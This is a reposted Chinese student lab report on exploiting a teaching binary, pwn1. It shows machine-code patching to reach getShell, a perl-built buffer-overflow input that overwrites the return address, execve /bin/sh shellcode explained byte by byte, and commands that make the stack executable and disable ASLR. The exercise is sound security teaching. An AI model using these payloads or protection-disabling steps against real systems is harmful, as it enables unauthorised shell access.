20232421 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20232421 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

3.实验过程

3.1 实验前置知识

  • Linux基础知识

    • shell命令:ls、cd、cp、touch、cat等
    • gcc编译指令、gdb调试指令:
      • 设置断点:break/clear
      • 启用/禁用断点:enable/disable
      • 运行程序:run
      • 继续运行:continue
      • 单步代码跟入函数:step
      • 查看各类信息:info
      • 显示调用栈:backtrack
  • 汇编语言基础知识:汇编指令

    • NOP:空指令。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • 十六进制编辑器使用方法

    • %!xxd:进入十六进制编辑模式
    • %!xxd -r:切换回原模式

3.2 修改程序机器指令

3.2.1 查看文件反汇编信息

  • 输入指令objdump -d pwn20232421dk | more对pwd进行反汇编,查看getshell函数、foo函数、main函数机器码。指令详解如下:
objdump -d pwn20232421dk | more
# 该命令的目的是查看pwn20232421dk二进制文件的反汇编输出
# objdump:显示二进制文件信息,包含反汇编、符号表、重定位等
# objdump -d:显示反汇编信息
# |:管道符号,将前一个命令的输出作为后一个命令的输入
# more:用于分页查看文本文件内容的程序,而不是一次性显示所有内容(按Enter健查看下一行,按空格键查看下一页,按q键退出)
  • getshell
    image
  • foo
    image
  • main
    image

3.2.2 修改可执行文件

  • 观察反汇编内容,getShell函数的地址是0804847d,如果想要main函数调用getShell函数替代调用foo函数,则可以修改可执行文件中的机器指令:将其中的call指令的目标地址由e8d7ffffff变为e8c3ffffff
    image
    image

3.2.3 查看并运行修改后的可执行文件

  • 反汇编查看修改后的pwn20232421dk
objdump -d pwn20232421dk | more

image

  • 运行pwn20232421dk,查看运行效果
./pwn20232421dk

image

3.3 BOF攻击实践

通过构造输入参数,造成BOF攻击,改变程序执行流。

3.3.1 安装gdb

sudo apt update
sudo apt install gdb

image

3.3.2 分析选用字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
# Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

image

3.4 注入Shellcode并执行

  • shellcode就是一段机器指令(code)。通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 以下是本次实践准备的Shellcode,其目的是执行/bin/sh(即启动一个新的shell),解释源自参考博客:
\x31\xc0
- xorl %eax,%eax:将寄存器eax的值设置为0。
\x50
- pushl %eax:将eax的值(现在是0)推送到栈上。
\x68\x2f\x2f\x73\x68
- pushl $0x68732f2f:将0x68732f2f(即//sh的ASCII码的小端序表示)推送到栈上。
\x68\x2f\x62\x69\x6e
- pushl $0x6e69622f:将0x6e69622f(即/bin的ASCII码的小端序表示)推送到栈上。
\x89\xe3
- movl %esp,%ebx:将栈指针(esp)的值复制到ebx寄存器。
\x50
- pushl %eax:再次将eax的值(0)推送到栈上。
\x53
- pushl %ebx:将ebx的值(现在指向/bin//sh的字符串)推送到栈上。
\x89\xe1
- movl %esp,%ecx:将栈指针(esp)的值复制到ecx寄存器。
\x31\xd2
- xorl %edx,%edx:将寄存器edx的值设置为0。
\xb0\x0b
- byte $0xb:将0xb(即11的十进制表示)加载到al(eax的低8位)。这是Linux系统调用号,代表execve。
\xcd\x80
- int $0x80:触发软中断,执行系统调用。

3.4.1 构造payload

Perl -e 'print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode     

3.4.2 设置堆栈可执行并查询是否可执行、关闭地址随机化

  • 由于execstack下载不了,此处使用patchelf。
patchelf --set-execstack pwn20232416-0
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

image

3.4.3 分别使用两个终端进行攻击与断点设置

  • 终端一中运行程序
    image
  • 终端二中调试进程
    image
    image
    image
  • 观察分析地址后注入攻击
    image

4.问题及解决方案

4.1 问题描述

  • 执行命令后,终端输出:/bin/sh: 1: 11111111222222223333333344444444}: not found这说明/bin/sh已经启动(否则不会有/bin/sh的报错),但input文件中的无效字符串(1111...4444})被/bin/sh当作命令执行,导致“命令不存在”的错误。

4.2 应对方法

  • 这说明/bin/sh已经启动,并且能响应用户输入的命令(ls执行成功),说明shell是交互式且有效的。后续实验中直接通过打断进程找到地址。

5.学习感悟及思考

  • 此次实验大量借鉴了先辈们的经历,属于“站在巨人肩膀上的学习”。

参考资料

  • https://blog.csdn.net/Wxc20212308/article/details/137093125?spm=1001.2014.3001.5502
  • https://www.cnblogs.com/zbqzbq/p/18455129

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20232317 2025-2026-1《网络与系统攻防技术》实验一实验报告

1.实验内容 1.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 1.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 1.3注入一个自己制作的shellcode并运行这段sh…

实用指南:【每日一面】React Hooks闭包陷阱

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Java 面试 - krt

1、ArrayList和LinkedList的区别 2、@Autowired和@Resource的主要区别1、ArrayList和LinkedList的区别 ArrayList:底层数据结构:ArrayList基于数组实现,元素在内存中连续存储,支持随机访问(时间复杂度为o(1));…

软工大三开学总结

在本学期我的目标是主要是在完成本学期的课程目标拿到奖学金的同时跟进考研。 在考虑过很多之后我个人还是觉得考研是我的选择,因为我从心底里觉得,我好不容易 上到这儿了一说是吧,怎么能就止步于此呢,再向上走走呢…

SpringBoot-day2(基于SpringBoot实现SSMP整合) - a

SpringBoot JC-3.基于SpringBoot实现SSMP整合 ​ 重头戏来了,SpringBoot之所以好用,就是它能方便快捷的整合其他技术,这一部分咱们就来聊聊一些技术的整合方式,通过这一章的学习,大家能够感受到SpringBoot到底有多…

给一个字符串数组,输出不同的部分

豆包给出代码/// <summary> /// 字符串差异提取工具类(仅使用原字符串字符) /// </summary> public static class StringDiffExtractor {/// <summary>/// 从字符串列表中提取差异部分,差异部分仅…

Java按顺序提取Word内容(文本+数学公式) - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

连接 USB 设备

转载自:https://learn.microsoft.com/zh-cn/windows/wsl/connect-usb本指南将演练使用 USB/IP 开源项目 usbipd-win 将 USB 设备连接到 WSL 2 上运行的 Linux 分发版所需的步骤。 在 Windows 计算机上配置 USB/IP 项目…

实用指南:嵌入式学习笔记3.基于寄存器方式控制GPIO

实用指南:嵌入式学习笔记3.基于寄存器方式控制GPIO2025-10-13 22:50 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; disp…

# 20232429 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 注入一个自己制作的shellcode并运行这段shellcode。 …

muduo网络库事件驱动模型的实现与架构 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

SpringBoot-day1(快速上手SpringBoot,SpringBoot简介,SpringBoot基础配置,属性配置,yaml文件) - a

SpringBoot 文档更新日志版本 更新日期 操作 描述v1.0 2021/11/14 A 基础篇前言 ​ 很荣幸有机会能以这样的形式和互联网上的各位小伙伴一起学习交流技术课程,这次给大家带来的是Spring家族中比较重要的一门技术课程…

Chroma私有化:本地部署完整方案

嵌入向量(vector embedding)是表示任何类型数据的 A.I 原生方式,使它们非常适合与各种 A.I 驱动的工具和算法一起使用。 它们可以表示文本、图像,很快还可以表示音频和视频。 有许多创建嵌入的选项,无论是在本地…

嵌入式-C++面经2

一、问题总览cpp重载和重写的区别 cpp虚函数表 指针和引用的区别 linux的常用开发指令 linux编译运行程序的指令 关键字inline 什么场景使用内联 如何避免内存泄露 map和unordered_map 引用外部头文件双引号和尖括号的…

elk time

elk time- "/etc/localtime:/etc/localtime:ro"

PHP转Go系列 | 如何将 PHP 项目快速迁移到 Go 上?

大家好,我是码农先森。 最近在闲逛 v2ex 社区时,看到有个讨论 PHP 项目能否直接迁移到 Go 语言上的话题。我大概简述一下提问v友的原话,他们因为项目性能的问题在 2020 年时,从 Laravel 框架迁移到了 Hyperf 框架,…

详细介绍:【OpenHarmony】用户文件服务模块架构

详细介绍:【OpenHarmony】用户文件服务模块架构pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

详细介绍:全新 CloudPilot AI:嵌入 Kubernetes 的 SRE Agent,降本与韧性双提升!

详细介绍:全新 CloudPilot AI:嵌入 Kubernetes 的 SRE Agent,降本与韧性双提升!pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; fo…

“环境变量”是什么, 为什么要配置环境变量 --初学者

你好!本篇旨在用精炼、通俗的语言,帮助初学者快速理解“环境变量”的核心概念。你好!本篇旨在用精炼、通俗的语言,帮助初学者快速理解“环境变量”的核心概念。1. 环境变量是什么? 环境变量(Environment Variabl…